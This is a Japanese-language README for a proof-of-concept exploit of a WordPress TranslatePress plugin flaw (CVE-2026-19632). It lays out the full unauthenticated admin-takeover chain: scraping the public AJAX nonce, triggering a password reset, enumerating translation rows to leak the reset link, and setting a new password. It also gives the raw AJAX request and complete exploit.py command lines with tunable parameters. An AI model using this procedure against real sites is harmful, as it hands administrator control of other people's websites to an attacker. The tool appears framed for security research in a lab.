
CVE-2026-19632の1日限りの概念実証エクスプロイト。TranslatePress WordPressプラグインにおける認証されていない重大なアカウント乗っ取りの脆弱性で、パスワードリセットリンクの開示と管理者乗っ取りを実証します。
CVE: CVE-2026-19632 | CVSS: 9.8 (Critical)
WordPress用TranslatePressプラグインを介した未認証のアカウント乗っ取り。 CVE公開から動作するDay-One PoCまでの時間: 5時間 9分 40秒
3.3.1以前のバージョンが影響を受け、3.3.2で修正されました。
TranslatePressはWordPressの送信メールを翻訳し、翻訳された文字列をデータベースに保存できます。
TranslatePressはパスワードリセットメールも、秘密鍵を含む完全なリセットリンクごと翻訳テーブルに直接保存します。
未認証の攻撃者は、公開されているTranslatePressのAJAXアクションを通じてそれらの行を照会できます:
パスワードリセットをトリガー
-> リセットメールが翻訳される
-> リセットURLが第二言語辞書に保存される
-> 公開AJAXエンドポイントがその行を返す
-> URLを使用して新しい管理者パスワードを設定する
https://github.com/user-attachments/assets/83469be4-ab85-4380-aedc-4d0406ab5a6b
この攻撃チェーンには以下が必要です:
WordPressがリセットメールを送信すると、TranslatePressは受信者の優先言語に切り替え、メールを翻訳パイプラインに通します。脆弱なバージョンでは、この処理中に遭遇した文字列(リセットURLを含む)を保存します。
TranslatePressはまた、未認証の訪問者向けにtrp_get_translations_regularを登録しています。そのは公開された翻訳ページに露出しており、リクエストは攻撃者が選択した辞書の行IDを受け入れます。それらのIDを列挙することで、保存されたリセットメールと使用可能なリセットリンクが明らかになります。
nonce| ステップ | 操作 |
|---|---|
| 1 | /he/cve-lab-seed/を読み込み、公開されているTranslatePress AJAX nonceを抽出する。 |
| 2 | labadminに対してWordPressのパスワード紛失フォームを送信する。 |
| 3 | TranslatePressが管理者のヘブライ語ロケールを使用してリセットメールを処理する。 |
| 4 | trp_get_translations_regularを通じて辞書の行を列挙する。 |
| 5 | 最新の一致するwp-login.php?action=rpリセットURLを抽出する。 |
| 6 | URLを開き、新しいパスワードを送信する。 |
| 7 | 新規ログインを実行し、WordPressログインCookieと/wp-admin/アクセスの両方を要求する。 |
関連する未認証リクエストは次のような形式です:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:19632
Content-Type: application/x-www-form-urlencoded
action=trp_get_translations_regular&security=PUBLIC_NONCE&language=he_IL&string_ids=[1,2,3]
nonceと有効な行IDは動的なため、exploit.pyはそれらをハードコードせずに自動発見します。
最小限の使用方法:
python3 .\exploit.py --new-password 'Your-New-Password!'
python3 .\exploit.py \
--url http://127.0.0.1:19632 \
--username labadmin \
--language he_IL \
--public-path /he/cve-lab-seed/ \
--start-id 1 \
--max-id 500 \
--batch-size 100 \
--timeout 15 \
--settle-seconds 1 \
--stop-after takeover \
--new-password 'Your-New-Password!'
パスワードを変更せずにリセットURLを漏えいする:
python .\exploit.py --stop-after leak
パスワードリセットメールのみをトリガーする:
python .\exploit.py --stop-after reset
| パラメータ | デフォルト | 目的 |
|---|---|---|
--url | http://127.0.0.1:19632 | WordPressのベースURL。 |
--username | labadmin | リセットを要求するアカウント。 |
--language | he_IL | PoCが照会する第二言語辞書。 |
--public-path | /he/cve-lab-seed/ | AJAX nonceを取得するために使用する公開翻訳ページ。 |
--new-password | なし | 新しいパスワード。--stop-after takeover使用時に必須。 |
--start-id | 1 | 要求する最初の辞書行ID。 |
--max-id | 500 | 要求する最後の辞書行ID。リセットURLが見つからない場合は増やしてください。 |
--batch-size | 100 | AJAX呼び出しごとに要求する辞書ID数。有効範囲: 1〜500。 |
--timeout | 15 | HTTPタイムアウト(秒)。 |
--settle-seconds | 1 | リセットメール要求後の待機時間。 |
--stop-after | takeover | reset、leak、または完全なtakeoverのいずれかで停止する。 |
このプロジェクトは、認可されたセキュリティ研究、教育、および隔離された実験環境でのテストのみを目的としています。
この脆弱性は元々momopon1415によって発見・公開されました。
所有者の明示的な許可なしに、このソフトウェアをシステム、ネットワーク、またはデータに対して使用しないでください。適用されるすべての法律を遵守し、このプロジェクトの使用によって生じるいかなる結果についても、あなた自身が単独で責任を負います。
著者であるYonLiudは、このプロジェクトを「現状のまま」提供し、いかなる種類の保証も行わず、このソフトウェアまたは派生作品によって引き起こされた損害、データ損失、サービス中断、不正アクセス、その他の誤用について一切の責任を負いません。
このプロジェクトを使用することにより、これらの条件を理解し、受け入れたものとみなされます。